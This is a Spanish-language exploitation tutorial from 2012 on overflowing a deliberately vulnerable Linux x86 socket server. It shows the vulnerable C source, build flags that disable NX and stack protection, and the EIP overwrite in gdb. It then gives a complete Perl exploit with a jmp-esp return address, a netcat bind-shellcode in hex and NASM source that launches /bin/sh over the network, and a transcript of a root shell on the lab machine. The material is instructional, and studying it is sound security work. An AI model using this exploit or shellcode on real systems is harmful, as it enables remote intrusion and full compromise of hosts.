.: **ASM / Shellcoding Series** :.
III
Bypassing Remote Linux x86 ASLR protection

por vlan7

vlan7 [at] overflowedminds [point] net

`http://www.overflowedminds.net`

`http://zen7.vlan7.org`

22-Abr-2012

Índice

```
It's pretty exciting - as you inject more bytes you overflow more minds.
```

1. Objetivo

Nuestro objetivo es el mismo que en la parte II de las Series. Pero en esta entrega crearemos un exploit que inyecte en un código vulnerable un shellcode linux/x86 remoto válido que nos devuelva una shell en un sistema que disponga de un kernel reciente con la protección ASLR activada.

En principio la única regla es que vale todo menos fuerza bruta.

2. Entorno

Verificamos que nos encontramos en un sistema con la protección ASLR activada.

Código 1 → Comprobación ASLR

```
root@bt:~# /sbin/sysctl -a 2>/dev/null |grep kernel.randomize_va_space
kernel.randomize_va_space = 2
```

También podemos consultar el valor de dicha variable inspeccionando /proc

Código 2 → Comprobación ASLR

```
root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
```

Esta variable puede tomar valores 0, 1 y 2.

- 0 : ASLR desactivado.
- 1 : ASLR activado, aunque el *heap* no se ve afectado.
- 2 : Full ASLR.

Código 3 → Full ASLR

```
(kernel.randomize_va_space): On (Setting: 2)

Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.
This, among other things, implies that shared libraries will be loaded to random
addresses. Also for PIE-linked binaries, the location of code start is randomized.

See the kernel file 'Documentation/sysctl/kernel.txt' for more details.
```

Por último mediante el comando uname obtenemos la versión del kernel, 3.2.6, y la release de Backtrack, BT5-R2, ambas versiones recientes en el momento de escribir esto.

Código 4 → Some versions

```
root@root:~# uname -a
Linux root 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
root@root:~# cat /etc/issue
BackTrack 5 R2 - Code Name Revolution 32 bit \n \l
```

3. Análisis del programa vulnerable

```
Se pueden introducir 4.000 caracteres en una edicion de Turbo Pascal
Neil J. Rubenking
```

```
/* THIS PROGRAM IS A HACK */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>

void error(char *msg)
{
  perror(msg);
  exit(7);
}

void jmpesp() {
  int cika = 58623; /*  ff e4 */
/* __asm__("jmp *%esp"); ff e4 */
}

void evilcopy(char *string)
{
  char buffer[1024];
  strcpy(buffer,string); /* overflow */
  printf("The user entered: %s",buffer);
}

int main(int argc, char *argv[])
{
  int sockfd, newsockfd, portno, clilen;
  char buffer[2000];
  struct sockaddr_in serv_addr, cli_addr;
  int n;

  if (argc < 2) {
    printf("ERROR, no port provided\n");
    exit(1);
  }

  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  if (sockfd < 0)
    error("ERROR opening socket");
  bzero((char *) &serv_addr, sizeof(serv_addr));
  portno = atoi(argv[1]);
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = INADDR_ANY;
```

```
  serv_addr.sin_port = htons(portno);
  if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
    error("ERROR on binding");
  listen(sockfd,5);
  clilen = sizeof(cli_addr);
  while(1)
  {
    newsockfd = accept(sockfd,
    (struct sockaddr *) &cli_addr, &clilen);
    if (newsockfd < 0)
      error("ERROR on accept");
    bzero(buffer,256);
    n = read(newsockfd,buffer,2000);

    if (n < 0) error("ERROR reading from socket");
    evilcopy(buffer);
    n = write(newsockfd,"message printed to server's stdout", strlen("message
        printed to server's stdout"));
    if (n < 0) error("ERROR writing to socket");
  }
  return 0;
}
```

Código 5 → vuln.c

La protección NX se puede vulnerar al menos mediante las técnicas conocidas como *ret2libc*, *ROP* o *Borrowed Code Chunks*. SSP también se puede evadir. No obstante, no es el objetivo de este artículo estudiar estas protecciones, así que las deshabilitamos pasándole al compilador los siguientes parámetros.

Código 6 → no NX + no SSP

```
root@bt:~# gcc -o vuln vuln.c -z execstack -fno-stack-protector -g
```

4. El EIP es nuestro

```
Aunque explotes, seguiran haciendo lo mismo.
Marco Aurelio
```

El servidor es la víctima. Escuchará en el puerto 7777.

Código 7 → server

```
root@root:~# ifconfig eth3 |grep 'inet addr'
          inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0

root@root:~# gdb -q vuln
Reading symbols from /root/vuln...done.
(gdb) r 7777
Starting program: /root/vuln 7777
```

El cliente es el atacante. Se conectará al puerto 7777 del servidor y enviando 1040 bytes logrará sobreescribir el registro EIP.

Código 8 → client

```
vlan7@zen7:~$ perl -e 'print "A"x1040' |nc -vv 192.168.56.101 7777
UNKNOWN [192.168.56.101] 7777 (?) open
^C sent 1040, rcvd 0
vlan7@zen7:~$
```

Desde el servidor vemos como se ha sobreescrito el registro EIP.

Código 9 → server

```
The user entered:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x41414141
(gdb) q
A debugging session is active.

       Inferior 1 [process 3360] will be killed.

Quit anyway? (y or n) y
root@root:~#
```

El EIP ha sido sobreescrito. Luego ya podemos desviar el flujo previsto del programa hacia el shellcode de nuestra elección. Luego podemos afirmar que el programa está en la peor situación posible.

El orden en la pila de los elementos que formarán el payload en el buffer es el siguiente.

[NOP-Sled][@RET][Shellcode]

Primero el *NOP-sled*, que serán A's, ya que no se ejecutan, seguido de la dirección de retorno. Podemos obtener @RET buscando en el desensamblado del ejecutable a explotar un salto hacia ESP.

Código 10 → Buscando ff e4

```
root@root:~# msfelfscan -j esp ./vuln
[./vuln]
0x080486fa jmp esp
root@root:~#
```

Ese puntero a ESP, pasado a notación *little-endian* es @RET en nuestro payload, y nos llevará a la ejecución de nuestro shellcode que terminaremos con un NULL que será interpretado como fin de cadena.

Bien, creemos un exploit en perl. @RET puede variar de un sistema a otro, debido entre otras cosas a la versión de gcc con la que haya sido compilado el programa vulnerable.

Código 11 → exploit.pl

```
# exploit.pl
# vlan7 22-Abr-2012

my $sc = "\x31\xc0\x99\x68\x31\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f".
"\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63\x68".
"\x2f\x62\x69\x6e\x89\xe3\x50\x52\x51\x53\x99\x89\xe1\xb0\x0b\xcd\x80";

my $ret = "\xfa\x86\x04\x08";

print "A"x1036 . $ret . $sc . "\x00";
```

Ponemos nuevamente el servidor a la escucha en el puerto 7777.

Código 12 → server

```
root@root:~# ./vuln 7777
```

El atacante ejecuta el exploit que inyectará un *bind-shellcode* que pondrá un netcat a la escucha en el servidor.

Código 13 → Que el EIP sea sobreescrito

```
vlan7@zen7:~$ perl exploit.pl |nc -vv 192.168.56.101 7777
UNKNOWN [192.168.56.101] 7777 (?) open
```

Tras inyectar el shellcode, esto es lo que puede verse en el servidor.

Código 14 → 0wned

```
The user entered:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

listening on [any] 52175 ...
```

El atacante se conecta al puerto 52175 donde está escuchando el *bind-shellcode* inyectado.

Código 15 → Estamos dentro

```
vlan7@zen7:~$ nc -vv 192.168.56.101 52175
UNKNOWN [192.168.56.101] 52175 (?) open
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
exit
 sent 15, rcvd 44
vlan7@zen7:~$
```

```
Cuando se explota cualquier tipo de software y se es capaz de ejecutar el
    shellcode de nuestra eleccion se puede decir que el software explotado
    esta en la peor situacion posible.
Newlog
```

A continuación se muestra el código fuente del shellcode en ASM.

```
; THIS PROGRAM IS A HACK
;
; Coded by vlan7
; 22-Abr-2012
;
; netcat bind-shellcode
; 57 bytes (smallest? maybe)

BITS 32

global _start
section .text

_start:
xor eax,eax
cdq
push 0x31373737
push 0x3170762d
mov edx, esp
push eax
push 0x68732f6e
push 0x69622f65
push 0x76766c2d
mov ecx, esp
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx, esp
push eax
push edx
push ecx
push ebx
cdq
mov ecx, esp
mov al, 11
int 0x80
```

Código 16 → shellcode codificado en NASM

5. Referencias

+ Segmentation fault en una evasion ASLR/Linux con ret2reg
VVAA
http://www.wadalbertia.org/foro/viewtopic.php?f=6&t=6167

+ Exploiting with linux-gate.so.1
Izik
http://www.exploit-db.com/papers/13187/

+ ASLR Smack & Laugh Reference
Tilo Muller
http://www.ece.cmu.edu/~dbrumley/courses/18739c-s11/docs/aslr.pdf

+ Beej's Guide to Network Programming
Beej
http://beej.us/guide/bgnet/

6. Agradecimientos

Este documento lo quiero dedicar y agradecer muy especialmente a la persona sin la cual todo esto no hubiera sido posible:

El autor.

7. Si me quieres escribir ya sabes mi paradero

http://pgp.mit.edu:11371/pks/lookup?search=vlan7&op=index

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.10 (GNU/Linux)

mQENBEzLOTcBCAC/Sqcixo2hS0S1pTsCKNb0whOrdGpeAJtCoFY6egbzGrbkBXU7
PccaLK6QKmPzMDNfqMTxDH8zQB/67MABLNSXkz4POZA43v/sB4Dp1pb7ZJ1pdmMe
YaHJZBeVBVoM5Vt5Bzab4GuZ49l62XD8BmVhZB551O4pqua+OclYw5eWv97OKWqh
o8/F98F5zvA1VIg3HOonGWqd6e084wSjgenLtnzrxokHV1e3CkuKdZ5udRI04SfC
o/pkt6QK3OJAQjJrj1ImYoNQ5RpcKuXiX+Q54lqCJd7kJpgDtgdBaU5lqqN5rCDJ
0/SJAM3OqrK1lWCJQXKmf9aOfUQ2pZSFivonABEBAAG0LnZsYW43IChodHRwOi8v
d3d3LnZsYW43Lm9yZykgPGFkbWluQHZsYW43Lm9yZz6JATgEEwECACIFAkzLOTcC
GwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEMObubRe0bUrF2UH/iqUo4C2
Q1OlQj84WO3xIS8hxdKRnHjJWrx8dFNB2e9uXUH9G3FUKfIgsQyLwWeFJvDHjQ1k
4NnCrB73QOem0y7agmet8eY0Kx0/ejnxiQsnbok0p7L4WSLmrVPpP8X3IXoN97C8
2ogf48HxPGwPtIc8/EekFvFxa4GCrJDI+AtN8LEE35pRKvMoNOnwlURWQzYr1pD2
aAWd/UZCrbFHFcH6CUrIi5lNmP9EVuIw1m3BtV4mwOF7D6T48CokBjVlZMyMYk3d
uERW4wjZWJ/63N95lnzqWuJAGNYzpoWqV4XbmFafomwGUmmm6b2OrU8eT/YJ177Z
RAxlpnFKe/FwYXq5AQOETMs5NwEIALIUFWsSzGrHLyqmpnEZaFx5pCDMToWNuGUp
LVTb4P6w5RN/6DEev0WpfGoO4mQ7uXkRfcJpH0TC6ELI5uFzuEw9Qw5KSSv8BBNj
X4Pv5BE/C3LH7HMPJNWgGIbOfj47+uT9iH8+uV+oNttVlTejmMaKqkWjTL7snfua
/OQ8wdRO7EIx5nEl0f9XyRRE0GvqbrBkfsmSJGUvzjuAIOkKYnCg89rM5DPcE+6I
Uhh5HuaSl4NuGr7yT+jknXbBUd+X/YgqVsnqLyMHp5btQLieapHiSQyg+xvN2TYC
LJtLsWMU1Xg3/+kW7GnFvNOUSdlTvLW47hc9n6zZ/3NKlorL9MEAEQEAAYkBHwQY
AQIACQUCTMs5NwIbDAAKCRDNG7m0XtG1K3lwCAC89WNu95z7a/+fyDmZzXXVMrz0
dML+1wrQgpaIQTOd7b3m+eynfbrU9O67EoD6hRX14YJELPhutzqjZ1QCAEIFJM0L
lMorcS9syMrkpxjpaSgMYFaM8DXLpvpBL60G5CxTLKAUoctS50S7bNxPvGURfWZ2
89aqKgaQitM2RcXIwMuQQeLMZmurfbJH3vlXHVw2fyJiY5erjc92HSLNwXMZOVeB
6zUXp/PiOv72AcLzIZN+/l7+wM+yJwe/+N8jys955y1/Uxj2bNZNI7fumMUnoHv6
YXDegh7VtnyahuXUDRUKX3XfTpMWFIzcqAZFqyoqmK99zpfLxJBn+o/wxG0w
=AFJ+
-----END PGP PUBLIC KEY BLOCK-----
```

Suerte,

vlan7, 22 de Abril de 2012.

```
The internet is closed
Please go away.
Apache 2/2 Server at leka.assembly.org Port 80
```